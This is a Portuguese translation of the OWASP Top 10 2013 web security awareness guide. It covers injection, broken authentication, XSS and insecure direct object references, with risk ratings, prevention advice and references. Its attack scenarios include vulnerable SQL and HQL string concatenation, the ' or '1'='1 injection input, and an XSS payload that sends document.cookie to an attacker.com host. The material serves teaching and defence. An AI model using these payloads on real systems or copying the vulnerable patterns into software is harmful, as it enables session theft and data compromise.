OWASP Top 10 2013 PT-BR

BR
Notas
Verso PT-BR
Participantes
Participaram da traduo os lderes do Projeto OWASP em Lngua Portuguesa: Carlos Serro (Portugal) Marcio Machry (Brasil) E os seguintes voluntrios: caro Evangelista Torres Carlo Marcelo Revoredo da Silva Luiz Vieira Suely Ramalho de Mello Jorge Olmpia Daniel Quinto Mauro Risonho de Paula Assumpo Marcelo Lopes Caio Dias Rodrigo Gularte
Esta verso do OWASP Top 10 foi desenvolvida como parte integrante da atividade conjunta dos captulos brasileiro e portugus da OWASP, em prol da comunidade de programadores e da segurana das aplicaes desenvolvidas nos pases de lngua portuguesa. Este documento baseado na verso OWASP Top 10 de 2013 e a traduo pretende ser fiel ao texto original. O Projeto OWASP em Lngua Portuguesa pode ser acessado em:
https://www.owasp.org/index.php/OWASP_Portug uese_Language_Project
Para saber mais sobre os eventos e atividades desenvolvidas pelos captulos brasileiro e portugus da OWASP, acesse as pginas:
- https://www.owasp.org/index.php/Brazilian - https://www.owasp.org/index.php/Portuguese
O
Prefcio
Sobre a OWASP
Sobre a OWASP
Open Web Application Security Project (OWASP) uma comunidade aberta, dedicada a capacitar as organizaes a desenvolver, adquirir e manter aplicaes confiveis. No OWASP se pode encontrar, grtis e de forma aberta... Normas e ferramentas de segurana em aplicaes Livros completos sobre testes de segurana, desenvolvimento de cdigo seguro e reviso de segurana de cdigo Normas e bibliotecas de controles de segurana Captulos locais do OWASP pelo mundo Pesquisas ltima gerao Conferncias do OWASP pelo mundo Listas de discusso. Saiba mais em: https://www.owasp.org Todos as ferramentas, documentos, fruns e captulos do OWASP so grtis e abertos a todos os interessados em aperfeioar a segurana em aplicaes. Promovemos a abordagem da segurana em aplicaes como um problema de pessoas, processos e tecnologia, porque as abordagens mais eficazes em segurana de aplicaes requerem melhorias nestas reas. A OWASP um novo tipo de organizao. O fato de ser livre de presses comerciais permite fornecer informao de segurana de aplicaes imparcial, prtica e de custo eficiente. A OWASP no filiada a nenhuma empresa de tecnologia, apesar de apoiar o uso de tecnologia de segurana comercial. Da mesma forma que muitos projetos de software de cdigo aberto, a OWASP produz vrios tipos de materiais de maneira colaborativa e aberta. A Fundao OWASP uma entidade sem fins lucrativos que garante o sucesso do projeto a longo prazo. Quase todos os associados OWASP so voluntrios, incluindo a Direo da OWASP, os Comits Globais, os Lderes dos Captulos, os Lderes de Projetos e os membros dos projetos. Apoiamos a pesquisa inovadora em segurana atravs de bolsas e infraestrutura. Junte-se a ns!
O software inseguro est debilitando nossa infraestrutura financeira, de sade, de defesa, de energia e outras infraestruturas crticas. medida que nossa infraestrutura digital fica cada vez mais complexa e interligada, a dificuldade em obter segurana em aplicaes aumenta exponencialmente. No podemos mais tolerar os problemas de segurana relativamente simples, como os apresentados nesta edio do OWASP Top 10. O Top 10 tem como objetivo a sensibilizao sobre segurana em aplicaes atravs da identificao de alguns dos riscos mais crticos enfrentados pelas organizaes. O projeto Top 10 referenciado por muitas normas, livros, ferramentas e organizaes, incluindo MITRE, PCI DSS, DISA, FTC, e muitas outras. Esta verso do projeto Top 10 marca o dcimo aniversrio dessa sensibilizao. O OWASP Top 10 foi lanado inicialmente em 2003, tendo pequenas atualizaes em 2004 e em 2007. A verso de 2010 foi reformulada para priorizar por risco, no somente por prevalncia. A verso 2013 segue essa mesma abordagem. A OWASP encoraja a utilizao do Top 10 para que as organizaes comecem com segurana em suas aplicaes. Os desenvolvedores podem aprender com os erros de outras organizaes. Os executivos devem comear a pensar em como gerenciar o risco que as aplicaes de software criam em suas empresas. A longo prazo, encorajamos a criao de um programa de segurana em aplicaes compatvel com a cultura e tecnologia da organizao. Estes programas podem existir em qualquer tamanho e forma, e deve-se evitar seguir apenas o que um determinado modelo prescreve. Ao invs disso, deve-se aproveitar os pontos fortes da organizao para quantificar e determinar o que funciona para a mesma. Desejamos que o OWASP Top 10 seja til em seus esforos de segurana em aplicaes. No deixe de contatar a OWASP com suas perguntas, comentrios e outras ideias, seja publicamente na owasp-topten@lists.owasp.org ou de forma privada para dave.wichers@owasp.org.
Copyright e Licena
Copyright 2003 2013 The OWASP Foundation Este documento publicado sob a licena Creative Commons Attribution ShareAlike 3.0. Para qualquer tipo de reutilizao ou distribuio, os termos deste trabalho devero ser informados.
I
Bem-vindo
Introduo
Bem-vindo ao OWASP Top 10 2013! Esta atualizao amplia uma das categorias da verso 2010 para ser mais abrangente, incluindo vulnerabilidades importantes, comuns, e reordena outras com base na mudana de dados de prevalncia. Ele tambm traz a segurana de componentes para o centro das atenes criando uma categoria especfica para este risco, tirando-o da obscuridade das letras midas do risco A6 de 2010: Configurao Incorreta de Segurana. O OWASP Top 10 para 2013 baseado em 8 conjuntos de dados de 7 empresas que se especializam em segurana de aplicaes, incluindo 4 consultorias and 3 fornecedores de ferramenta/Software as a Service (1 esttica, 1 dinmica, and 1 com ambas) . Estes dados abrangem mais de 500.000 vulnerabilidades em centenas de organizaes e milhares de aplicaes. Os itens Top 10 so selcionados e priorizados de acordo com dados de prevalncia, em combinao com estimativas do consenso da explorao, deteco e impacto. O objetivo principal do OWASP Top 10 educar desenvolvedores, projetistas, arquitetos, gestores e organizaes sobre as consequncias das mais importantes vulnerabilidades de segurana de aplicaes web. O Top 10 fornece tcnicas bsicas para se proteger contra essas reas problemticas de alto risco e tambm fornece orientao sobre onde ir a partir daqui.
Avisos
No pare nos 10. Existem centenas de problemas que podem afetar a segurana geral de uma aplicao web como discutido no Guia do Desenvolvedor OWASP e na Srie de Dicas OWASP. Estas so leituras essenciais para o desenvolvimento de aplicaes web. Orientao sobre como encontrar, de forma efetiva, vulnerabilidades em aplicaes web fornecida no Guia de Testes OWASP e no Guia de Reviso de Cdigo OWASP. Mudana constante. Este Top 10 continuar sendo alterado. Mesmo sem alterar uma linha de cdigo da sua aplicao, ela poder ficar vulnervel a novas falhas que so descobertas e mtodos de ataque que so refinados. Por favor, revise a orientao no final deste documento em Prximos Passos para Desenvolvedores, Verificadores e Organizaes para maiores informaes. Pense positivo. Quando voc estiver pronto para parar de procurar vulnerabilidades e focar no estabelecimento de fortes controles de segurana nas suas aplicaes, OWASP produziu o Padro de Verificao de Segurana em Applicaes (ASVS) como um guia de verificao para as organizaes. Use ferramentas de forma inteligente. Vulnerabilidades de segurana podem ser bastante complexas e enterradas em montanhas de cdigo. Em muitos casos, a abordagem com melhor custo-benefcio para encontrar e eliminar estas vulnerabilidades envolver especialistas armados com boas ferramentas. Mude de rumo. Concentre-se em tornar a segurana parte integral da cultura de desenvolvimento da organizao. Encontre mais no Modelo Aberto de Maturidade e Garantia do Software (SAMM) and the Rugged Handbook.
Agradecimentos
Obrigado Aspect Security por iniciar, liderar e atualizar o OWASP Top 10 desde sua concepo em 2003, e a seus autores principais: Jeff Williams and Dave Wichers.
Gostaramos de agradecer s organizaes que contriburam com seus dados de prevalncia para esta atualizao de 2013: Aspect Security Estatsticas HP Estatsticas from both Fortify and WebInspect Minded Security Estatsticas Softtek Estatsticas Trustwave, SpiderLabs Estatsticas (See page 50) Veracode Estatsticas WhiteHat Security Inc. Estatsticas
Ns gostaramos de agradecer todos que contriburam com as verses anteriores do Top 10. Sem estas contribuies, ele no seria o que hoje. Tambm agradecemos aqueles que contriburam com comentrios e tempo revisando esta atualizao: Adam Baso (Wikimedia Foundation) Mike Boberski (Booz Allen Hamilton) Torsten Gigler Neil Smithline (MorphoTrust USA) Pela produo da verso wiki do Top 10, e fornecendo feedback E finalmente, agradecemos antecipadamente todos os tradutores que iro traduzir esta verso do Top 10 em inmeras linguagens diferentes, ajudando a torn-lo mais acessvel no planeta inteiro.
NV
1)
Notas da Verso
O que mudou de 2010 para 2013?

O cenrio de ameaas para a segurana das aplicaes muda constantemente. Os principais fatores dessa evoluo so os avanos feitos pelos atacantes, o lanamento de novas tecnologias com novas vulnerabilidade, bem como a maior incorporao de defesas, e a implantao de sistemas cada vez mais complexos. Para acompanhar esta evoluo, ns atualizamos periodicamente o OWASP Top 10. Nesta verso de 2013, fizemos as seguintes alteraes: Quebra de Autenticao e Gerenciamento de Sesso aumentou sua prevalncia em nossa base de dados. Acreditamos que isto provavelmente ocorreu porque esta rea est sendo analisada rigorosamente, e no porque mais predominante. Isso resultou na troca de posies entre os Riscos A2 e A3. Cross-Site Request Forgery (CSRF) reduziu sua prevalncia em nossa base de dados de 2010-A5 para 2013-A8. Acreditamos que a causa seja o fato do CSRF permanecer no OWASP Top 10 por 6 anos, e as organizaes e os frameworks de desenvolvimento concentraram-se em reduzir significativamente o nmero de vulnerabilidades CSRF nas aplicaes. Ampliamos a Falha na Restrio de Acesso a URL do OWASP Top 10 2010 para ser mais abrangente: + 4) 2010-A8: Falha na Restrio de Acesso a URL agora 2013-A7: Falta de Funo para Controle do Nvel de Acesso cobrindo todas as funes de controle do nvel de acesso. Existem muitas maneiras de especificar qual funo est sendo acessada, no apenas a URL.
2)
3)
Agrupamos e ampliamos 2010-A7 e 2010-A9 para CRIAR: 2013-A6:Exposio de Dados Sensveis: Esta uma nova categoria criada com o agrupamento do 2010-A7 - Armazenamento Criptogrfico Inseguro e 2010-A9 - Proteo Insuficiente no Nvel de Transporte, alm de adicionar riscos aos dados sensveis inseridos via navegador. Esta nova categoria abrange proteo a dados sensveis (exceto controle de acesso que coberto pelos 2013-A4 e 2013-A7) a partir do momento que esses dados so fornecidos pelo usurio, enviados e armazenados pela aplicao, e em seguida enviados novamente ao navegador.
5)
Adicionamos: 2013-A9: Utilizao de Componentes Vulnerveis Conhecidos + Este assunto foi mencionado como parte do 2010-A6 - Configurao Incorreta de Segurana, mas agora possui uma categoria prpria devido ao crescimento do desenvolvimento baseado em componentes, o que aumentou significativamente o risco de utilizao de componentes vulnerveis conhecidos.
OWASP Top 10 2010 (Anterior)

A1 Injeo de cdigo A3 Quebra de autenticao e Gerenciamento de Sesso
OWASP Top 10 2013 (Novo)

A1 Injeo de cdigo A2 Quebra de autenticao e Gerenciamento de Sesso
A2 Cross-Site Scripting (XSS)

A4 Referncia Insegura e Direta a Objetos A6 Configurao Incorreta de Segurana A7 Armazenamento Criptogrfico Inseguro Agrupado com A9 A8 Falha na Restrio de Acesso a URL Ampliado para A5 Cross-Site Request Forgery (CSRF) <Removido do A6: Configurao Incorreta de Segurana> A10 Redirecionamentos e Encaminhamentos Invlidos A9 Proteo Insuficiente no Nvel de Transporte

A4 Referncia Insegura e Direta a Objetos A5 Configurao Incorreta de Segurana A6 Exposio de Dados Sensveis A7 Falta de Funo para Controle do Nvel de Acesso A8 Cross-Site Request Forgery (CSRF) A9 Utilizao de Componentes Vulnerveis Conhecidos A10 Redirecionamentos e Encaminhamentos Invlidos Agrupado com 2010-A7 criando o 2013-A6
Risco
Threat Agents
Riscos de Segurana em Aplicaes
O que so Riscos de Segurana em Aplicaes?

Os atacantes podem, potencialmente, usar vrios caminhos diferentes atravs da sua aplicao para causar danos ao seu negcio ou organizao. Cada um desses caminhos representa um risco que pode, ou no, ser grave o suficiente para justificar a sua ateno.
Attack Vectors Attack Security Weaknesses Weakness Security Controls Control Asset Attack Weakness Control Function Attack Weakness Asset Weakness Control Impact Impact Technical Impacts Business Impacts Impact
s vezes, esses caminhos so triviais para encontrar e explorar, e em outras, so extremamente difceis. Da mesma forma, o dano causado pode ter nenhuma consequncia, ou pode acabar com o seu negcio. Para determinar o risco para a sua organizao, voc pode avaliar a probabilidade associada a cada agente de ameaa, vetor de ataque, vulnerabilidade de segurana e combinla com uma estimativa dos impactos tcnico e no negcio da sua empresa. Juntos, esses fatores determinam o risco total.
Qual o Meu Risco?

O OWASP Top 10 tem seu foco na identificao dos riscos mais graves para uma ampla gama de organizaes. Para cada um destes riscos, ns fornecemos informaes genricas sobre a probabilidade de ocorrncia e impacto tcnico usando o esquema simples de classificao abaixo, que se baseia na metodologia de avaliao de riscos da OWASP (OWASP Risk Rating Methodology).
Agentes Vetores de de Ameaa Ataque Fcil Mdia Difcil Prevalncia da Vulnerabilidade Generalizada Comum Rara Deteco Vulnerabilidade Fcil Mdia Difcil Impactos Tcnicos Severo Moderado Pequeno Impactos no Negcio
Especfico do Negcio/ Aplicao
Referncias
OWASP
OWASP Risk Rating Methodology Article on Threat/Risk Modeling
External
FAIR Information Risk Framework Microsoft Threat Modeling (STRIDE and DREAD)
Especfico da Aplicao
Somente voc sabe os detalhes do seu ambiente e negcio. Para qualquer aplicao, pode no haver um agente de ameaa que possa executar um ataque relevante, ou o impacto tcnico pode no fazer nenhuma diferena para o seu negcio. Portanto, voc deve avaliar cada risco, focando nos agentes de ameaa, controles de segurana e impactos no negcio de sua empresa. Ns listamos Agentes de Ameaa como Especficos da Aplicao, e Impactos no Negcio como Especficos do Negcio/Aplicao para indicar que estes so claramente dependentes dos detalhes sobre a sua aplicao em sua empresa. Os nomes dos riscos no Top 10 derivam-se do tipo de ataque, do tipo de vulnerabilidade, ou do tipo de impacto causado. Escolhemos nomes que refletem com preciso os riscos e, quando possvel, alinham-se com a terminologia mais provvel para auxiliar na conscientizao das pessoas.
T10
A1 Injeo
OWASP Top 10 Riscos de Segurana em Aplicaes 2013

As falhas de Injeo, tais como injeo de SQL, de SO (Sistema Operacional) e de LDAP, ocorrem quando dados no confiavis so enviados para um interpretador como parte de um comando ou consulta. Os dados manipulados pelo atacante podem iludir o interpretador para que este execute comandos indesejados ou permita o acesso a dados no autorizados.
A2 Quebra de Autenticao e Gerenciamento de Sesso

As funes da aplicao relacionadas com autenticao e gerenciamento de sesso geralmente so implementadas de forma incorreta, permitindo que os atacantes comprometam senhas, chaves e tokens de sesso ou, ainda, explorem outra falha da implementao para assumir a identidade de outros usurios.
Falhas XSS ocorrem sempre que uma aplicao recebe dados no confiveis e os envia ao navegador sem validao ou filtro adequados. XSS permite aos atacantes executarem scripts no navegador da vtima que podem sequestrar sesses do usurio, desfigurar sites, ou redirecionar o usurio para sites maliciosos.
A4 Referncia Insegura e Direta a Objetos A5 Configurao Incorreta de Segurana
Uma referncia insegura e direta a um objeto ocorre quando um programador expe uma referncia implementao interna de um objeto, como um arquivo, diretrio, ou registro da base de dados. Sem a verificao do controle de acesso ou outra proteo, os atacantes podem manipular estas referncias para acessar dados no-autorizados.
Uma boa segurana exige a definio de uma configurao segura e implementada na aplicao, frameworks, servidor de aplicao, servidor web, banco de dados e plataforma. Todas essas configuraes devem ser definidas, implementadas e mantidas, j que geralmente a configurao padro insegura. Adicionalmente, o software deve ser mantido atualizado. Muitas aplicaes web no protegem devidamente os dados sensveis, tais como cartes de crdito, IDs fiscais e credenciais de autenticao. Os atacantes podem roubar ou modificar esses dados desprotegidos com o propsito de realizar fraudes de cartes de crdito, roubo de identidade, ou outros crimes. Os dados sensveis merecem proteo extra como criptografia no armazenamento ou em trnsito, bem como precaues especiais quando trafegadas pelo navegador. A maioria das aplicaes web verificam os direitos de acesso em nvel de funo antes de tornar essa funcionalidade visvel na interface do usurio. No entanto, as aplicaes precisam executar as mesmas verificaes de controle de acesso no servidor quando cada funo invocada. Se estas requisies no forem verificadas, os atacantes sero capazes de forjar as requisies, com o propsito de acessar a funcionalidade sem autorizao adequada. Um ataque CSRF fora a vtima que possui uma sesso ativa em um navegador a enviar uma requisio HTTP forjada, incluindo o cookie da sesso da vtima e qualquer outra informao de autenticao includa na sesso, a uma aplicao web vulnervel. Esta falha permite ao atacante forar o navegador da vtima a criar requisies que a aplicao vulnervel aceite como requisies legtimas realizadas pela vtima. Componentes, tais como bibliotecas, frameworks, e outros mdulos de software quase sempre so executados com privilgios elevados. Se um componente vulnervel explorado, um ataque pode causar srias perdas de dados ou o comprometimento do servidor. As aplicaes que utilizam componentes com vulnerabilidades conhecidas podem minar as suas defesas e permitir uma gama de possveis ataques e impactos. Aplicaes web frequentemente redirecionam e encaminham usurios para outras pginas e sites, e usam dados no confiveis para determinar as pginas de destino. Sem uma validao adequada, os atacantes podem redirecionar as vtimas para sites de phishing ou malware, ou usar encaminhamentos para acessar pginas no autorizadas.
A6 Exposio de Dados Sensveis A7 Falta de Funo para Controle do Nvel de Acesso A8 Cross-Site Request Forgery (CSRF) A9 Utilizao de Componentes Vulnerveis Conhecidos A10 Redirecionamentos e Encaminhamentos Invlidos
A1
Agentes de Ameaa
Injeo
Vetores de Ataque Vulnerabilidades de Segurana Impactos Tcnicos Impactos no Negcio
Considere algum que possa enviar dados noconfiveis para o sistema, incluindo usurios externos, usurios internos, e administradores.
Explorao FCIL
Atacante envia ataques simples baseados em texto que exploram a sintaxe do interpretador alvo. Praticamente qualquer fonte de dados pode ser um vetor de injeo, incluindo fontes internas.
Prevalncia COMUM
Deteco MDIA
Impacto SEVERO
Injeo pode resultar em perda ou corrupo de dados, falta de responsabilizao, ou negao de acesso. Algumas vezes, a injeo pode levar ao comprometimento completo do servidor.
Especfico do Negcio / Aplicao

Considere o valor de negcio dos dados afetados e a plataforma de execuo do interpretador. Todos os dados podem ser roubados, modificados, ou excludos. A sua reputao poderia ser afetada?
Falhas de injeo ocorrem quando uma aplicao envia dados no-confiveis para um interpretador. Falhas de injeo esto muito predominantes, particularmente em cdigos legados. Elas geralmente so encontradas em consultas SQL, LDAP, Xpath ou NoSQL; comandos do SO; analisadores XML; cabealhos SMTP; argumentos do programa, etc. Falhas de injeo so fceis de descobrir ao examinar o cdigo, mas frequentemente difceis de descobrir atravs de testes. Escaneadores e fuzzers podem ajudar atacantes a encontrar falhas de injeo.
Estou vulnervel?
A melhor forma para descobrir se uma aplicao est vulnervel injeo verificar se todos os usos dos interpretadores separam claramente os dados no-confiveis do comando ou consulta. Para chamadas SQL, isso significa utilizar variveis de ligao em todas as instrues preparadas e procedimentos armazenados, e evitar consultas dinmicas. Verificar o cdigo uma forma rpida e precisa de identificar se a aplicao utiliza os interpretadores seguramente. Ferramentas de anlise de cdigo podem ajudar o analista de segurana a encontrar o uso dos interpretadores e traar o fluxo de dados atravs da aplicao. Testes de invaso podem validar estas questes atravs da elaborao de exploits que confirmam a vulnerabilidade. Varredura dinmica automatizada que exercite a aplicao pode fornecer uma viso caso exista alguma falha explorvel de injeo. Escaneadores nem sempre podem alcanar os interpretadores e tem dificuldade em detectar se um ataque foi bem sucedido. Tratamento de erros fraco torna as falhas de injeo fceis de descobrir.
Como fao para evitar?

Preveno de injeo requer manter os dados no confiveis separados dos comandos e consultas. 1. A opo preferida utilizar uma API segura que evite o uso do interpretador inteiramente ou fornea uma interface parametrizada. Seja cuidadoso com APIs, assim como procedimentos armazenados, que so parametrizados, mas podem ainda introduzir injeo por debaixo dos panos. Se uma API parametrizada no estiver disponvel, voc deve cuidadosamente filtrar os caracteres especiais utilizando a sintaxe para esse interpretador. OWASPs ESAPI fornece muitas dessas rotinas de filtragem. Lista branca" ou validao de entrada positiva tambm recomendada, mas no uma defesa completa j que muitas aplicaes requerem caracteres especiais em suas entradas. Se os caracteres especiais so exigidos, somente as abordagens 1. e 2. acima tornaro a sua utilizao segura. OWASPs ESAPI tem uma extensa biblioteca de rotinas de validao de entradas por lista branca.
2.
3.
Exemplos de Cenrios de Ataque

Cenrio #1: A aplicao utiliza dados no confiveis na construo da seguinte chamada SQL vulnervel: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; Cenrio #2: De forma similar, uma aplicao confiar cegamente nos frameworks pode resultar em consultas que continuam vulnerveis, (ex., linguagem de consulta Hibernate (HQL)): Query HQLQuery = session.createQuery(FROM accounts WHERE custID=' + request.getParameter("id") + "'"); Em ambos os casos, o atacante modifica o valor do parmetro id em seu navegador para enviar: ' or '1'='1. Por exemplo: http://example.com/app/accountView?id=' or '1'='1 Isso muda o significado de ambas as consultas para retornar todos os registros da tabela de contas. Ataques mais perigosos poderiam modificar dados ou at mesmo chamar procedimentos armazenados.
Referncias
OWASP
OWASP SQL Injection Prevention Cheat Sheet OWASP Query Parameterization Cheat Sheet
OWASP Command Injection Article

OWASP XML eXternal Entity (XXE) Reference Article ASVS: Output Encoding/Escaping Requirements (V6) OWASP Testing Guide: Chapter on SQL Injection Testing
Externas
CWE Entry 77 on Command Injection CWE Entry 89 on SQL Injection CWE Entry 564 on Hibernate Injection
A2
Agentes de Ameaa
Quebra de Autenticao e Gerenciamento de Sesso

Considere atacantes externos annimos, ou mesmo usurios autenticados, que podem tentar roubar contas de outros usurios. Considere tambm usurios internos que desejam disfarar suas aes.
Explorao MDIA
Atacante usa vazamentos ou falhas nas funes de autenticao ou gerenciamento de sesso (por exemplo, contas expostas, senhas, IDs de sesso) para assumir a identidade de outro usurio.
Prevalncia GENERALIZADA
Deteco MDIA
Impacto SEVERO
Tais falhas podem permitir que algumas ou mesmo todas as contas sejam atacadas. Uma vez bem sucedido, o atacante pode fazer qualquer coisa que a vtima faria. Contas privilegiadas so alvos frequentes.

Considere o valor de negcio dos dados ou funes da aplicao afetados. Tambm considere o impacto no negcio atravs da exposio pblica da vulnerabilidade.
Os desenvolvedores frequentemente implementam a autenticao e gerenciamento de sesso em suas aplicaes de forma personalizada, mas a implementao correta difcil. Como resultado, esses esquemas personalizados frequentemente possuem falhas em reas do sistema como logout, gesto de senhas, tempo de expirao, "lembrar senha", pergunta secreta, atualizar conta, etc. Algumas vezes, encontrar essas falhas pode ser difcil j que cada implementao nica.
Estou vulnervel?
Os ativos de gerenciamento de sesso, como credenciais do usurio e IDs de sesso, so protegidos adequadamente? Voc pode estar vulnervel se: 1. As credenciais de autenticao de usurio no esto protegidas utilizando hash ou criptografia, quando armazenadas. Ver A6. 2. As credenciais podem ser descobertas atravs de fracas funes de gerenciamento de contas (por exemplo, criao de conta, alterao de senha, recuperao de senha, IDs de sesso fracos). 3. IDs de sesso so expostos na URL (por exemplo, reescrita de URL). 4. IDs de sesso so vulnerveis a ataques de fixao de sesso. 5. IDs de sesso no expiram, ou sesses de usurio ou tokens de autenticao, particularmente aqueles baseados em single sign-on (SSO), e no so devidamente invalidados durante o logout. 6. IDs de sesso no so rotacionados aps o login bem-sucedido. 7. Senhas, IDs de sesso, e outras credenciais so enviadas atravs de conexes no criptografadas. Ver A6. Veja as reas de exigncia V2 e V3 do ASVS para mais detalhes.

A recomendao principal para uma organizao disponibilizar aos desenvolvedores: 1. Um conjunto nico de controles fortes de autenticao e gerenciamento de sesso. Tais controles devem procurar: a) Cumprir todos os requisitos de autenticao e gerenciamento de sesso definidos no Padro de Verificao de Segurana da Aplicao do OWASP (ASVS), reas V2 (Autenticao) e V3 (Gerenciamento de Sesso). ter uma interface simples para os desenvolvedores. Considere o ESAPI Authenticator e User APIs como bons exemplos para simular, usar ou construir como base.
b)
2.
Grandes esforos tambm deve ser feitos para evitar falhas de XSS que podem ser utilizados para roubar os IDs de sesso. Ver A3.

Cenrio # 1: Uma aplicao de reservas de passagens areas suporta reescrita de URL, colocando IDs de sesso na URL: http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSK HCJUN2JV?dest=Hawaii Um usurio autenticado do site quer deixar seus amigos saberem sobre a venda. Ele envia um e-mail do link acima sem saber que com isso tambm est enviando a sua ID da sesso. Quando seus amigos utilizarem o link, iro usar sua sesso e carto de crdito. Cenrio # 2: O tempo de expirao da aplicao no est definido corretamente. O usurio utiliza um computador pblico para acessar o site. Em vez de selecionar logout o usurio simplesmente fecha a aba do navegador e vai embora. O atacante usa o mesmo navegador uma hora mais tarde, e esse navegador ainda est autenticado. Cenrio # 3: Atacante interno ou externo ganha acesso ao banco de dados de senhas do sistema. Senhas de usurios no esto utilizando hash, expondo assim todas as senhas dos usurios ao atacante.
Referncias
OWASP
Para um conjunto mais completo de requisitos e problemas a evitar nesta rea, consulte as reas de requisitos ASVS para autenticao (V2) e gerenciamento de sesso (V3). OWASP Authentication Cheat Sheet OWASP Forgot Password Cheat Sheet OWASP Session Management Cheat Sheet OWASP Development Guide: Chapter on Authentication OWASP Testing Guide: Chapter on Authentication
Externas
CWE Entry 287 on Improper Authentication CWE Entry 384 on Session Fixation
A3
Agentes de Ameaa
Cross-Site Scripting (XSS)

Considere algum que possa enviar dados noconfiveis para o sistema, incluindo usurios externos, usurios internos, e administradores.
Explorao MDIA
Os atacantes enviam ataques de script baseado em texto que exploram o interpretador no navegador. Quase qualquer fonte de dados pode ser um vetor de ataque, incluindo fontes internas como dados do banco de dados.
Prevalncia MUITO DIFUNDIDA
Deteco FCIL
Impacto MODERADO
Atacantes podem executar scripts no navegador da vtima para sequestrar sesses do usurio, desfigurar web sites, inserir contedo hostil, redirecionar usurios, seqestrar o navegador usando malware, etc.

Considere o valor do negcio do sistema afetado e todos os dados que processa. Tambm considere o impacto no negcio da exposio pblica da vulnerabilidade.
XSS a mais predominante falha de segurana em aplicaes web. As falhas de XSS ocorrem quando uma aplicao inclui os dados fornecidos pelo usurio na pgina, enviados ao navegador, sem a validao ou filtro apropriados desse contedo. Existem trs tipos conhecidos de falhas XSS: 1) Persistente, 2) Refletido, e 3) XSS baseado em DOM. A deteco da maioria das falhas XSS bastante fcil via testes ou anlise de cdigo.
Estou vulnervel?
Voc est vulnervel se no garantir que todas as entradas fornecidas pelos usurios sejam apropriadamente filtradas, ou voc no verifica que elas sejam seguras via validao de entrada, antes de incluir essa entrada na pgina de sada. Sem o adequado filtro ou validao da sada, tal entrada ser tratada como contedo ativo no navegador. Se o Ajax est sendo usado para atualizar a pgina dinamicamente, voc est usando APIS seguras do JavaScript? Para APIS inseguras, codificao ou validao tambm devem ser usadas. Ferramentas automatizadas podem encontrar alguns problemas de XSS automaticamente. Porm, cada aplicao constri pginas de sada diferentemente e utiliza diferentes interpretadores no lado do navegador como JavaScript, ActiveX, Flash, e Silverlight, criando dificuldades para a deteco automtica. Portanto, uma cobertura completa exige uma combinao de reviso manual de cdigo e teste de invaso, alm das abordagens automatizadas. Tecnologias Web 2.0, como Ajax, tornam o XSS muito mais difcil de detectar via ferramentas automatizadas.

Evitar XSS requer a separao do dado no-confivel do contedo ativo no navegador. 1. A opo apropriada filtrar adequadamente todos os dados no-confiveis com base no contexto HTML (corpo, atributo, JavaScript, CSS ou URL) no qual os dados sero colocados. Veja o OWASP XSS Prevention Cheat Sheet para detalhes sobre os requisitos das tcnicas de filtro de dados. 2. Lista branca" ou validao de entrada positiva tambm recomendada pois ajuda a proteger contra XSS, mas no uma defesa completa, j que muitas aplicaes requerem caracteres especiais em sua entrada. Tal validao deve, tanto quanto possvel, validar o tamanho, caracteres, formato, e as regras de negcio sobre os dados antes de aceitar a entrada. 3. Para contedo rico considere bibliotecas de auto-sanitizao como OWASP's AntiSamy ou o Java HTML Sanitizer Project. 4. Considere a Content Security Policy (CSP) para se defender contra XSS em todo o seu site.
Exemplo de Cenrio de Ataque

A aplicao utiliza dados no-confiveis na construo do seguinte fragmento HTML sem validao ou filtro: (String) page += "<input name='creditcard' type='TEXT value='" + request.getParameter("CC") + "'>"; O atacante modifica o parmetro 'CC' em seu navegador para: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. Isso causa o envio do ID de sesso da vtima para o site do atacante, permitindo que o atacante sequestre a sesso atual do usurio. Note que o atacante tambm pode usar o XSS para anular qualquer defesa automtica de CSRF que a aplicao possa empregar. Veja o A8 para informaes sobre CSRF.
Referncias
OWASP
OWASP XSS Prevention Cheat Sheet OWASP DOM based XSS Prevention Cheat Sheet OWASP Cross-Site Scripting Article ESAPI Encoder API ASVS: Output Encoding/Escaping Requirements (V6) OWASP AntiSamy: Sanitization Library
Testing Guide: 1st 3 Chapters on Data Validation Testing

OWASP Code Review Guide: Chapter on XSS Review OWASP XSS Filter Evasion Cheat Sheet
Externas
CWE Entry 79 on Cross-Site Scripting
A4
Agentes de Ameaa
Referncia Insegura e Direta a Objetos

Considere o tipo dos usurios do seu sistema. Qualquer usurio tem somente acesso parcial a determinados tipos de dados do sistema?
Explorao FCIL
O atacante, que um usurio autorizado do sistema, simplesmente muda o valor de um parmetro que se refere diretamente a um objeto do sistema por outro objeto que o usurio no est autorizado. O acesso concedido?
Prevalncia COMUM
Deteco FCIL
Impacto MODERADO
Tais falhas podem comprometer todos os dados que podem ser referenciados pelo parmetro. A menos que as referncias a objetos sejam imprevisveis, fcil para um atacante acessar todos os dados disponveis desse tipo.

Considere o valor de negcio dos dados expostos. Tambm considere o impacto ao negcio da exposio pblica da vulnerabilidade.
Aplicaes freqentemente usam o nome real ou a chave de um objeto ao gerar pginas web. Aplicaes nem sempre verificam se o usurio autorizado para o objeto alvo. Isto resulta numa falha de referncia insegura e direta a um objeto. Testadores podem facilmente manipular valores de parmetros para detectar tal falha. Anlise de cdigo rapidamente mostra se a autorizao verificada de forma adequada.
Estou vulnervel?
A melhor forma de saber se uma aplicao vulnervel a referncia insegura e direta a objeto verificar se todos os objetos referenciados possuem defesas apropriadas. Para atingir esse objetivo, considere: 1. Para referncias diretas a recursos restritos, a aplicao falha em verificar se o usurio est autorizado a acessar o exato recurso que ele requisitou? Se a referncia uma referncia indireta, o mapeamento para a referncia direta falha ao limitar os valores para aqueles autorizados para o usurio atual?

Preveno a referncia insegura e direta a objetos requer a seleo de uma abordagem para proteo de cada objeto acessvel ao usurio (por exemplo, nmero do objeto, nome de arquivo): 1. Uso de referncia indiretas a objetos por usurio ou sesso. Isso impede que o atacante atinja diretamente os recursos no autorizados. Por exemplo, em vez de utilizar a chave de banco de dados do recurso, uma lista de seis recursos autorizados para o usurio atual poderia utilizar os nmeros de 1 a 6 para indicar qual valor o usurio selecionou. A aplicao tem que mapear as referncias indiretas por usurio de volta para a chave do banco de dados real no servidor. OWASPs ESAPI inclui tanto mapas de referncia de acesso seqencial e aleatrio que os desenvolvedores podem usar para eliminar as referncias diretas a objetos. Verificar o acesso. Cada utilizao de uma referncia direta a objeto de uma origem no confivel deve incluir uma verificao de controle de acesso para garantir que o usurio est autorizado para o objeto requisitado.
2.
